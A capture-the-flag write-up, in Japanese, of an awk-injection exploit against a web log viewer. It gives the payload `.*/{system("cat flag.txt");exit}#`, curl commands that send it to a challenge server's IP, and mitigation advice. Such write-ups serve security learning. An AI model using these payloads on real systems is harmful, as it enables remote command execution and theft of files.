# 2025-12-22_"Log Viewer": 251222 Level: Medium Type: Web Solved day: 2025-12-22 ## Solution ### Observation: `awk "/{query}/"` にユーザ入力が直挿しされている サーバ側はフォーム入力 `query` を受け取り、以下のように `awk` の **パターン部** `/.../` にそのまま埋め込んで実行している。さらに `timeout=0.5` が設定されているため、長い処理は途中で落ちる。 - `command = ["awk", f"/{query}/", "info.log"]` - `subprocess.run(..., timeout=0.5, ...)` つまりこれは「シェルインジェクション」ではなく、**awk のプログラム構文そのものに対するインジェクション**(AWK Injection)になっている。 ### Key idea: `/.../ { ... }` 構文を閉じて action を注入する awk は - `/<regex>/ { action }` という構文を持つ。したがって `query` に `/` を含めて **正規表現リテラルを閉じ**、続けて `{ system(...) }` を注入できる。 ただし、このアプリは末尾に必ず `"/{query}/"` の **最後の `/`** を付与するため、注入後に余計な `/` が残って構文エラーになり得る。 そこで `#` を入れて **awk のコメント**にし、末尾の `/` を無効化する。 ### Payload(0.5秒対策:即 `exit`) `timeout=0.5` のため、ログ全体を走査させるより **最初の1行で実行→終了**が安全。 使ったペイロード(例:`flag.txt` を読む): ``` .\*/{system("cat flag.txt");exit}# ```` これにより awk には概ね次のようなプログラムが渡る: - 元の想定: `/<query>/` - 注入後: `/.*/ { system("cat flag.txt"); exit } #/` `#` 以降はコメントになり、アプリ側が付ける余計な末尾 `/` が無視される。 ### Exploit(curl の例) URL エンコードが必要な記号(`{ } " #` など)があるため `--data-urlencode` を使うと安全。 ```bash curl -s -X POST \ --data-urlencode 'query=.*/{system("cat flag.txt");exit}#' \ 'http://34.170.146.252:17672/' ```` レスポンス中に `Alpaca{...}` の形式でフラグが表示される。 (見つけづらい場合) ```bash curl -s -X POST \ --data-urlencode 'query=.*/{system("cat flag.txt");exit}#' \ 'http://34.170.146.252:17672/' | grep -o 'Alpaca{[^}]*}' ``` ### うまくいかない時の切り分け 1. **ファイル位置確認** ```bash curl -s -X POST --data-urlencode 'query=.*/{system("ls -la");exit}#' \ 'http://34.170.146.252:17672/' ``` `flag.txt` のパスが違うなら `cat` の引数を調整する。 2. **出力が HTML に埋もれる** ブラウザなら「ページのソース」や DevTools の Network → Response を見る。 curl なら `grep -o` で抽出する。 ## How I thought ### 重要な観察 1. `query` が **awk の `/<regex>/` に直挿し**されている → awk 構文注入の可能性 2. `subprocess.run([...])` で shell を使っていないので、狙うべきはシェルではなく **awk 自体の文法** 3. `timeout=0.5` があるので、処理は **即 `exit` で終了**させる必要がある ### 発想の流れ * awk の基本構文 `/<regex>/ { action }` を思い出す * `query` で `/` を閉じて `{system(...)} ` を差し込む * 末尾に付く余計な `/` を `#` でコメントアウト * タイムアウト対策に `exit` を入れて最速化 ### 学び(バグの本質) * 「正規表現検索」のつもりで `/.../` にユーザ入力を入れるのは危険 * `awk` / `sed` などは **言語**なので、引数でもコード注入が起こり得る * 対策は「正規表現のエスケープ」や「`grep -F` のような固定文字列検索」への置換、 もしくは awk を使うなら `-v` で値として渡して安全に処理する、など